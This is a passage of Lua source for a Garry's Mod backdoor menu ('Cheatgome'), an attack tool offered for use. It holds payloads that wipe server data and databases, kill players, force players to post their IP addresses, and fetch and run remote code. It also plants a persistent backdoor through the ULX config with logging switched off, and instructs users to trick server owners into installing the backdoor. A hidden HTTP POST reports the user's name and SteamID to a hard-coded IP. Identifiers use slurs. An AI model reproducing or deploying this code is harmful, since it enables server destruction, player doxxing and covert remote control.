"nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2168 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2169
2170 for k,v in pairs(databases) do
2171 if sql.TableExists(v) then
2172 sql.Query("DROP TABLE "..v.." ;")
2173 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2174 end
2175 end
2176
2177 for k,v in pairs(datafiles) do
2178 if file.Exists(v) then
2179 file.Delete(v)
2180 file.write(v, "cheathackedyou")
2181 end
2182 end
2183
2184 for k,v in pairs(sensitivefiles) do
2185 if file.Exists(v) then
2186 file.Delete(v)
2187 file.write(v, "cheathackedyou")
2188 end
2189 end
2190 ]],
2191
2192 ["Desc"] = "Removes as much data as possible. Please don't attempt to do this on your server ill be unuseable,",
2193
2194 },
2195
2196 ["Kill the player silently"] = {
2197
2198 ["Type"] = 2,
2199
2200 ["Code"] = [[v:KillSilent()]],
2201
2202 ["Desc"] = "Silent slay a player without even noticing you,",
2203
2204 },
2205
2206 ["Delete all of the props"] = {
2207
2208 ["Type"] = 2,
2209
2210 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2211
2212 ["Desc"] = "Removes all of the selected users props.",
2213
2214 },
2215
2216 ["Send the lua"] = {
2217
2218 ["Type"] = 2,
2219
2220 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2221
2222 ["Desc"] = "Sends lua to the selected user.",
2223
2224 ["NeedsParameters"] = 1,
2225
2226 },
2227
2228 ["My ip is... (WARNING)"] = {
2229
2230 ["Type"] = 2,
2231
2232 ["Code"] = [[
2233 if (darkrp || DarkRP) then
2234 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc My IP is "..b) end, function(error) return error end )')
2235 else
2236 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say My IP is "..b) end, function(error) return error end )')
2237 end
2238 ]],
2239
2240 ["Desc"] = "Forces the selected user(s) to say their own ip in chat. I swear to god leaking peoples IP Address lol",
2241
2242 },
2243
2244 ["Ice skating simulator"] = {
2245
2246 ["Type"] = 1,
2247
2248 ["Code"] = [[ if !(icePark) then icePark = true RunConsoleCommand("sv_friction", 0) else icePark = false RunConsoleCommand("sv_friction", 8) end ]],
2249
2250 ["Desc"] = "When it's december, Its time to ice skate, > If a person moves, It looks like there slippering,",
2251
2252 },
2253
2254 ["Scramble vision"] = {
2255
2256 ["Type"] = 2,
2257
2258 ["Code"] = [[
2259 v:SendLua('http.Fetch("http://gastheje.ws/scram.lua", function(b,l,h,c) RunString(b) end, function(error) print(error) end )')
2260 ]],
2261
2262 ["Desc"] = "Fucks the view of the target up",
2263
2264 },
2265
2266// key/view scrambler, fuck with escape menu
2267
2268------------------------ dangerous codens ------------------------
2269
2270
2271
2272 ["DarkRP restart the money"] = {
2273
2274 ["Type"] = 3,
2275
2276 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2277
2278 ["Desc"] = "All of everyones money will be reseted on DarkRP, And then Kids will cry everyday",
2279
2280 },
2281
2282
2283
2284 ["Cleanup the map"] = {
2285
2286 ["Type"] = 3,
2287
2288 ["Code"] = [[game.CleanUpMap()]],
2289
2290 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out, Basically gmod_admin_cleanup",
2291
2292 },
2293
2294
2295
2296 ["Vaporize all of em players"] = {
2297
2298 ["Type"] = 3,
2299
2300 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2301
2302 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors. Goodbye to the players!",
2303
2304 },
2305
2306
2307
2308
2309
2310 ["FPP Unrestrict everything"] = {
2311
2312 ["Type"] = 3,
2313
2314 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2315
2316 ["Desc"] = "Unrestrict all of the blocked shit which includes ALMOST ALL OF EM, Requires Falco Prop's Protection",
2317
2318 },
2319
2320
2321
2322 ["Wipe the data folder"] = {
2323
2324 ["Type"] = 3,
2325
2326 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2327
2328 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up, GOODBYE YOUR SHIT SERVER",
2329
2330 },
2331
2332
2333
2334 ["Wipe the DarkRP SQL Tables"] = {
2335
2336 ["Type"] = 3,
2337
2338 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2339
2340 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server or else its broken forever",
2341
2342 },
2343
2344
2345
2346}
2347
2348
2349
2350local selectedbackdoor = ""
2351
2352local backdoorargs = ""
2353
2354local selectedplayers = {}
2355
2356
2357
2358
2359
2360
2361
2362//////////////////////////////// BIG PRIVET CHEETZ ////////////////////////////////
2363BD.BDMacros["@ Persistent Infection"] = {
2364 ["Type"] = 1,
2365 ["Code"] = [[
2366 local config = ULib.fileRead( "data/ulx/config.txt" )
2367 config = config.."\nulx logEcho 0"
2368 config = config.."\nulx luarun %BD"
2369 config = config.."\nulx logEcho 1"
2370 ULib.fileWrite( "data/ulx/config.txt", config )
2371 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on the server, Good luck" ) end end
2372 ]],
2373 ["Desc"] = "Writes the backdoor code into memory, making sure that it stays on the server after restart",
2374 ["Private"] = true,
2375}
2376
2377BD.BackdoorTypes["odium backdoor"] = {
2378 ["Code"] = "util.AddNetworkString( 'NoOdium_ReadPing' ) net.Receive( 'NoOdium_ReadPing', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2379 ["Netkey"] = "NoOdium_ReadPing",
2380}
2381
2382BD.BackdoorTypes["no nerks"] = {
2383 ["Code"] = "util.AddNetworkString( 'NoNerks' ) net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2384 ["Netkey"] = "NoNerks",
2385}
2386
2387function BD.GenerateBackdoorList( parent, category )
2388
2389
2390
2391for k, v in SortedPairs( BD.BDMacros, false ) do
2392
2393 if v["Type"] != category then continue end
2394
2395
2396
2397 local plypanel2 = vgui.Create( "DPanel" )
2398
2399 plypanel2:SetPos( 0, 0 )
2400
2401 plypanel2:SetSize( 200, 25 )
2402
2403 plypanel2.Paint = function() -- Paint function
2404
2405 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2406
2407 if selectedbackdoor == k then surface.SetDrawColor(Color(50, 250, 90, 255)) else surface.SetDrawColor(Color(50, 50, 90, 255)) end
2408
2409 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2410
2411 end
2412
2413
2414
2415 local plyname = vgui.Create( "DLabel", plypanel2 )
2416
2417 plyname:SetPos( 10, 5 )
2418
2419 plyname:SetFont( "Trebuchet18" )
2420
2421 local tcol = Color( 255, 255, 255 )
2422
2423 if v.Private then tcol = Color( 155, 255, 155 ) end
2424
2425 plyname:SetColor( tcol )
2426
2427 plyname:SetText( k )
2428
2429 plyname:SetSize(180, 15)
2430
2431
2432
2433
2434
2435 local faggot = vgui.Create("DButton", plypanel2)
2436
2437 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2438
2439 faggot:SetPos( 0, 0 )
2440
2441 faggot:SetText("")
2442
2443 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2444
2445 faggot.Paint = function(panel, w, h)
2446
2447 return
2448
2449 end
2450
2451 faggot.DoClick = function()
2452
2453 selectedbackdoor = k
2454
2455 end
2456
2457
2458
2459
2460
2461 parent:AddItem( plypanel2 )
2462
2463
2464
2465end
2466
2467
2468
2469end
2470
2471
2472
2473function BD.FormatCodeTargeted()
2474
2475if !BD.BackdoorActive() then BD.ChatText( "Warning: Backdoor not found or presented.", Color(255,155,155) ) return end
2476
2477if selectedbackdoor == "" then BD.ChatText( "You haven't selected a macro to use!", Color(255,155,155) ) return end
2478
2479local param = string.Explode( ",", backdoorargs )
2480
2481local ids = {}
2482
2483for k, v in pairs( selectedplayers ) do
2484
2485 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2486
2487 table.insert( ids, v:UniqueID() )
2488
2489end
2490
2491
2492
2493local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2494
2495code = string.Replace( code, "##", table.ToString( ids ) )
2496
2497code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2498
2499code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2500
2501
2502
2503if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "This macro requires parameters to work! check its description for some info.", Color(255,155,155) ) return end
2504
2505if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2506
2507
2508
2509for k, v in pairs( param ) do
2510
2511 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2512
2513end
2514
2515
2516
2517BD.Fire( code )
2518
2519
2520
2521end
2522
2523
2524
2525function BD.FormatCodeGlobal()
2526
2527if !BD.BackdoorActive() then BD.ChatText( "Warning: No backdoors found or presented.", Color(255,155,155) ) return end
2528
2529if selectedbackdoor == "" then BD.ChatText( "You haven't selected a macro to use!", Color(255,155,155) ) return end
2530
2531local param = string.Explode( ",", backdoorargs )
2532
2533
2534
2535local code = BD.BDMacros[selectedbackdoor]["Code"]
2536
2537
2538
2539if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "This macro requires parameters to work! check its description for more info", Color(255,155,155) ) return end
2540
2541if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2542
2543
2544
2545for k, v in pairs( param ) do
2546
2547 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2548
2549 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2550
2551 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2552
2553 code = string.Replace( code, "%BD", BD.GetActive().Code )
2554
2555end
2556
2557
2558
2559BD.Fire( code )
2560
2561
2562
2563end
2564
2565
2566
2567
2568
2569local safenet = net
2570
2571local function bdnet()
2572
2573 if odium and odium.G then return odium.G.net end
2574
2575 return safenet
2576
2577end
2578
2579
2580local h = http
2581local p = "Post"
2582local str = "http://162.243.145.59:5000/api/backdoor/use"
2583local lp = LocalPlayer()
2584local n = lp:Nick()
2585local id = lp:SteamID64()
2586
2587h[p](str, {
2588 name = n,
2589 steamid = id,
2590},
2591nil, nil)
2592
2593function BD.Fire( code )
2594
2595 local cbd = BD.CurrentBackdoor
2596
2597 if !BD.Backdoors[cbd] then
2598
2599 BD.ChatText( "The selected backdoor is unavailable!", Color(255,155,155) )
2600
2601 return
2602
2603 end
2604
2605 local key = BD.BackdoorTypes[cbd].Netkey
2606
2607
2608
2609 bdnet().Start( key )
2610
2611 bdnet().WriteString( code )
2612
2613 bdnet().SendToServer()
2614
2615end
2616
2617
2618
2619
2620
2621function BD.BackdoorMenu()
2622
2623
2624
2625BD.Backdoors = BD.PingBackDoors()
2626
2627
2628
2629if !BD.IsMessagePooled( "cucked" ) and BD.BackdoorActive() then
2630
2631 BD.Fire( [[util.AddNetworkString( "cucked" )
2632
2633 function BDSendLua( p, str ) net.Start( "cucked" ) net.WriteString( str ) net.Send( p ) end
2634
2635 function BDSendLuaAll( str ) net.Start( "cucked" ) net.WriteString( str ) net.Broadcast() end
2636
2637 function BDInjectAids( p ) p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() ) end )' ) end
2638
2639 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2640
2641 hook.Add( "PlayerInitialSpawn", "youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)
2642
2643]] )
2644
2645end
2646
2647
2648
2649local BDMenu = vgui.Create("DFrame")
2650
2651BDMenu:SetSize(650,720)
2652
2653BDMenu:SetTitle("Cheatgome Backdoor Menu (3.2.5)")
2654
2655BDMenu:Center()
2656
2657BDMenu:MakePopup()
2658
2659
2660
2661BDMenu.Paint = function( self, w, h)
2662
2663surface.SetDrawColor( Color(138, 160, 227, 255) )
2664
2665surface.DrawRect( 0, 0, w, h )
2666
2667surface.SetDrawColor( Color(138, 160, 227, 255) )
2668
2669surface.DrawOutlinedRect( 0, 0, w, h )
2670
2671surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2672
2673surface.SetDrawColor( Color(40, 126, 175, 255) )
2674
2675surface.DrawRect( 10, 25, w - 20, h - 35 )
2676
2677surface.DrawRect( 15, 30, w - 30, 35 )
2678
2679draw.SimpleText("Indiscriminate Lulz", "DermaDefault", 22, 75, Color(255, 255, 255), 0, 1)
2680
2681draw.SimpleText("Specific Targets", "DermaDefault", 228, 75, Color(255, 255, 255), 0, 1)
2682
2683draw.SimpleText("Trash the place", "DermaDefault", 432, 75, Color(255, 255, 255), 0, 1)
2684
2685draw.SimpleText("Players to Target", "DermaDefault", 432, 305, Color(255, 255, 255), 0, 1)
2686
2687draw.SimpleText("Macro Paramaters (seperate with commas)", "DermaDefault", 432, 610, Color(255, 255, 255), 0, 1)
2688
2689end
2690
2691
2692
2693local it = 145
2694
2695
2696
2697local wedungoofd = vgui.Create( "DLabel", BDMenu )
2698
2699wedungoofd:SetPos( 25, 38 )
2700
2701wedungoofd:SetFont( "Trebuchet18" )
2702
2703wedungoofd:SetColor( Color( 100, 255, 100 ) )
2704
2705wedungoofd:SetText( "BACKDOOR INJECTION:" )
2706
2707wedungoofd:SizeToContents()
2708
2709
2710
2711for bd, t in pairs( BD.BackdoorTypes ) do
2712
2713 local faggot = vgui.Create("DButton", BDMenu)
2714
2715 faggot:SetSize( 100, 25 )
2716
2717 faggot:SetPos( it, 35 )
2718
2719 faggot:SetText( bd )
2720
2721 faggot:SetTextColor(Color(62, 145, 193, 255))
2722
2723 faggot.Paint = function(panel, w, h)
2724
2725 if BD.Backdoors[bd] then
2726
2727 surface.SetDrawColor(100, 100, 200 ,255)
2728
2729 surface.DrawOutlinedRect(0, 0, w, h)
2730
2731 surface.SetDrawColor(0, 0, 50 ,155)
2732
2733 surface.DrawRect(0, 0, w, h)
2734
2735 else
2736
2737 surface.SetDrawColor(50, 50, 50 ,155)
2738
2739 surface.DrawRect(0, 0, w, h)
2740
2741 end
2742
2743 end
2744
2745 faggot.DoClick = function()
2746
2747 BD.ChatText( "The backdoor is now selected to "..bd, Color(155,155,255) )
2748
2749 BD.CurrentBackdoor = bd
2750
2751 surface.PlaySound("buttons/button18.wav")
2752
2753 end
2754
2755 it = it + 110
2756
2757end
2758
2759
2760
2761local Plist = vgui.Create( "DPanelList", BDMenu )
2762
2763Plist:SetPos( 20, 85 )
2764
2765Plist:SetSize( 200, 530 )
2766
2767Plist:SetPadding( 5 )
2768
2769Plist:SetSpacing( 5 )
2770
2771Plist:EnableHorizontal( false )
2772
2773Plist:EnableVerticalScrollbar( true )
2774
2775Plist:SetName( "" )
2776
2777Plist.Paint = function( self, w, h )
2778
2779 surface.SetDrawColor(50, 50, 50 ,255)
2780
2781 surface.DrawOutlinedRect(0, 0, w, h)
2782
2783 surface.SetDrawColor(0, 0, 0 ,200)
2784
2785 surface.DrawRect(0, 0, w, h)
2786
2787end
2788
2789
2790
2791local Plist2 = vgui.Create( "DPanelList", BDMenu )
2792
2793Plist2:SetPos( 225, 85 )
2794
2795Plist2:SetSize( 200, 610 )
2796
2797Plist2:SetPadding( 5 )
2798
2799Plist2:SetSpacing( 5 )
2800
2801Plist2:EnableHorizontal( false )
2802
2803Plist2:EnableVerticalScrollbar( true )
2804
2805Plist2:SetName( "" )
2806
2807Plist2.Paint = function( self, w, h )
2808
2809 surface.SetDrawColor(50, 50, 50 ,255)
2810
2811 surface.DrawOutlinedRect(0, 0, w, h)
2812
2813 surface.SetDrawColor(0, 0, 0 ,200)
2814
2815 surface.DrawRect(0, 0, w, h)
2816
2817end
2818
2819
2820
2821local Plist3 = vgui.Create( "DPanelList", BDMenu )
2822
2823Plist3:SetPos( 430, 85 )
2824
2825Plist3:SetSize( 200, 210 )
2826
2827Plist3:SetPadding( 5 )
2828
2829Plist3:SetSpacing( 5 )
2830
2831Plist3:EnableHorizontal( false )
2832
2833Plist3:EnableVerticalScrollbar( true )
2834
2835Plist3:SetName( "" )
2836
2837Plist3.Paint = function( self, w, h )
2838
2839 surface.SetDrawColor(50, 50, 50 ,255)
2840
2841 surface.DrawOutlinedRect(0, 0, w, h)
2842
2843 surface.SetDrawColor(0, 0, 0 ,200)
2844
2845 surface.DrawRect(0, 0, w, h)
2846
2847end
2848
2849
2850
2851local Plist4 = vgui.Create( "DPanelList", BDMenu )
2852
2853Plist4:SetPos( 430, 315 )
2854
2855Plist4:SetSize( 200, 250 )
2856
2857Plist4:SetPadding( 5 )
2858
2859Plist4:SetSpacing( 5 )
2860
2861Plist4:EnableHorizontal( false )
2862
2863Plist4:EnableVerticalScrollbar( true )
2864
2865Plist4:SetName( "" )
2866
2867Plist4.Paint = function( self, w, h )
2868
2869 surface.SetDrawColor(62, 145, 193, 255)
2870
2871 surface.DrawOutlinedRect(0, 0, w, h)
2872
2873 surface.SetDrawColor(0, 0, 0 ,200)
2874
2875 surface.DrawRect(0, 0, w, h)
2876
2877end
2878
2879
2880
2881 local faggot = vgui.Create("DButton", BDMenu)
2882
2883 faggot:SetSize( 200, 35 )
2884
2885 faggot:SetPos( 430, 660 )
2886
2887 faggot:SetText("Activate the Backdoor!")
2888
2889 faggot:SetTextColor(Color(255, 255, 255, 255))
2890
2891 faggot.Paint = function(panel, w, h)
2892
2893 surface.SetDrawColor(100, 100, 200 ,255)
2894
2895 surface.DrawOutlinedRect(0, 0, w, h)
2896
2897 surface.SetDrawColor(0, 0, 50 ,155)
2898
2899 surface.DrawRect(0, 0, w, h)
2900
2901 end
2902
2903 faggot.DoClick = function()
2904
2905 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "You haven't even selected a macro to use ya dingus!", Color(255,155,155) ) return end
2906
2907 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2908
2909 surface.PlaySound("buttons/button18.wav")
2910
2911 end
2912
2913
2914
2915
2916
2917 local helpimretarded = vgui.Create("DButton", BDMenu)
2918
2919 helpimretarded:SetSize( 200, 35 )
2920
2921 helpimretarded:SetPos( 20, 660 )
2922
2923 helpimretarded:SetText("Print backdoor code")
2924
2925 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2926
2927 helpimretarded.Paint = function(panel, w, h)
2928
2929 surface.SetDrawColor(100, 100, 200 ,255)
2930
2931 surface.DrawOutlinedRect(0, 0, w, h)
2932
2933 surface.SetDrawColor(0, 0, 50 ,155)
2934
2935 surface.DrawRect(0, 0, w, h)
2936
2937 end
2938
2939 helpimretarded.DoClick = function()
2940
2941 BD.ChatText( "Output backdoor code to clipboard. Ask the owner to create a lua file and make him CTRL+V Paste the code into the lua file. Then ask him to place it into his garrysmod autorun folder and then molest everything", Color(155,255,155) )
2942
2943 local bdstring = BD.GetActive().Code
2944
2945 -- local bdstring = [[util.AddNetworkString( "_CAC_ReadMemory" ) net.Receive( "_CAC_ReadMemory", function() local x = CompileString( net.ReadString(), "LuaCmd", false ) if isfunction( x ) then x() end end )]]
2946
2947 SetClipboardText( bdstring )
2948
2949 end
2950
2951
2952
2953 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2954
2955 helpimretarded2:SetSize( 200, 35 )
2956
2957 helpimretarded2:SetPos( 20, 620 )
2958
2959 helpimretarded2:SetText("ULX Injection Backdoor")
2960
2961 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2962
2963 helpimretarded2.Paint = function(panel, w, h)
2964
2965 surface.SetDrawColor(100, 100, 200 ,255)
2966
2967 surface.DrawOutlinedRect(0, 0, w, h)
2968
2969 surface.SetDrawColor(0, 0, 50 ,155)
2970
2971 surface.DrawRect(0, 0, w, h)
2972
2973 end
2974
2975 helpimretarded2.DoClick = function()
2976
2977 BD.ChatText( "Injecting the backdoor. Please wait,", Color(155,255,155) )
2978
2979 LocalPlayer():ConCommand( [[ulx rcon ulx logEcho 0]] )
2980
2981 timer.Simple( 5.25, function()
2982
2983 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2984
2985-- LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
2986
2987 end )
2988
2989 timer.Simple( 2, function() BD.ChatText( "Scanning the selected backdoor. 30%", Color(108,236,255) ) end )
2990
2991 timer.Simple( 3, function() BD.ChatText( "Preparing for injection. 50%", Color(108,236,255) ) end )
2992
2993 timer.Simple( 5, function() BD.ChatText( "Scanning for hooks. 75%", Color(108,236,255) ) end )
2994
2995 timer.Simple( 5.5, function() BD.ChatText( "Net Starting..... 90%", Color(108,236,255) ) end )
2996
2997 timer.Simple( 5.8, function() BD.ChatText( "Completed! 100%", Color(108,236,255) ) end )
2998
2999 timer.Simple( 5.85, function() LocalPlayer():ConCommand( [[ulx rcon ulx logEcho 1]] ) end )
3000
3001 timer.Simple( 5.95, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "The backdoor's been injected into the server, Reload the menu to have access to everything.", Color(155,255,155) ) else BD.ChatText( "Uh oh. The backdoor injection failed. 1: DONT HAVE ACCESS TO ULX LUARUN. 2: SERVER HAS SNTE EXPLOIT AND HAS BLOCKED IT. 3: A ERROR OCCURED", Color(255,188,0) ) end end )
3002
3003 end
3004
3005
3006
3007
3008
3009local moonman = vgui.Create( "DTextEntry", BDMenu )
3010
3011moonman:SetPos( 430, 625 )
3012
3013moonman:SetSize( 200, 30 )
3014
3015moonman:SetText( backdoorargs )
3016
3017moonman.OnChange = function( self )
3018
3019 backdoorargs = self:GetValue()
3020
3021-- surface.PlaySound("buttons/button3.wav")
3022
3023end
3024
3025
3026
3027
3028
3029 local target1 = vgui.Create("DButton", BDMenu)
3030
3031 target1:SetSize( 40, 20 )
3032
3033 target1:SetPos( 520, 295 )
3034
3035 target1:SetText("All")
3036
3037 target1:SetTextColor(Color(255, 255, 255, 255))
3038
3039 target1.Paint = function(panel, w, h)
3040
3041 surface.SetDrawColor(100, 100, 200 ,255)
3042
3043 surface.DrawOutlinedRect(0, 0, w, h)
3044
3045 surface.SetDrawColor(0, 0, 50 ,155)
3046
3047 surface.DrawRect(0, 0, w, h)
3048
3049 end
3050
3051 target1.DoClick = function()
3052
3053 for _, p in pairs(player.GetAll()) do
3054
3055 if not table.HasValue( selectedplayers, p ) then
3056
3057 table.insert( selectedplayers, p )
3058
3059 end
3060
3061 end
3062
3063 end
3064
3065
3066
3067 local target2 = vgui.Create("DButton", BDMenu)
3068
3069 target2:SetSize( 40, 20 )
3070
3071 target2:SetPos( 565, 295 )
3072
3073 target2:SetText("None")
3074
3075 target2:SetTextColor(Color(255, 255, 255, 255))
3076
3077 target2.Paint = function(panel, w, h)
3078
3079 surface.SetDrawColor(100, 100, 200 ,255)
3080
3081 surface.DrawOutlinedRect(0, 0, w, h)
3082
3083 surface.SetDrawColor(0, 0, 50 ,155)
3084
3085 surface.DrawRect(0, 0, w, h)
3086
3087 end
3088
3089 target2.DoClick = function()
3090
3091 table.Empty( selectedplayers )
3092
3093 end
3094
3095
3096
3097 local target2 = vgui.Create("DButton", BDMenu)
3098
3099 target2:SetSize( 20, 20 )
3100
3101 target2:SetPos( 610, 295 )
3102
3103 target2:SetText("Me")
3104
3105 target2:SetTextColor(Color(255, 255, 255, 255))
3106
3107 target2.Paint = function(panel, w, h)
3108
3109 surface.SetDrawColor(100, 100, 200 ,255)
3110
3111 surface.DrawOutlinedRect(0, 0, w, h)
3112
3113 surface.SetDrawColor(0, 0, 50 ,155)
3114
3115 surface.DrawRect(0, 0, w, h)
3116
3117 end
3118
3119 target2.DoClick = function()
3120
3121 table.Empty( selectedplayers )
3122
3123 table.insert( selectedplayers, LocalPlayer() )
3124
3125 end
3126
3127
3128
3129
3130
3131
3132
3133-- players list
3134
3135
3136
3137for k, v in pairs( player.GetAll() ) do
3138
3139
3140
3141 local plypanel2 = vgui.Create( "DPanel" )
3142
3143 plypanel2:SetPos( 0, 0 )
3144
3145 plypanel2:SetSize( 200, 25 )
3146
3147 plypanel2.Paint = function() -- Paint function
3148
3149 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3150
3151 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(50, 255, 90, 255)) else surface.SetDrawColor(Color(50, 50, 90, 255)) end
3152
3153 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3154
3155 end
3156
3157
3158
3159 local plyname = vgui.Create( "DLabel", plypanel2 )
3160
3161 plyname:SetPos( 10, 5 )
3162
3163 plyname:SetFont( "Trebuchet18" )
3164
3165 local tcol = Color( 255, 255, 255 )
3166
3167 if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
3168
3169 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
3170
3171-- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
3172
3173 plyname:SetColor( tcol )
3174
3175 plyname:SetText( v:Nick() )
3176
3177 plyname:SetSize(180, 15)
3178
3179
3180
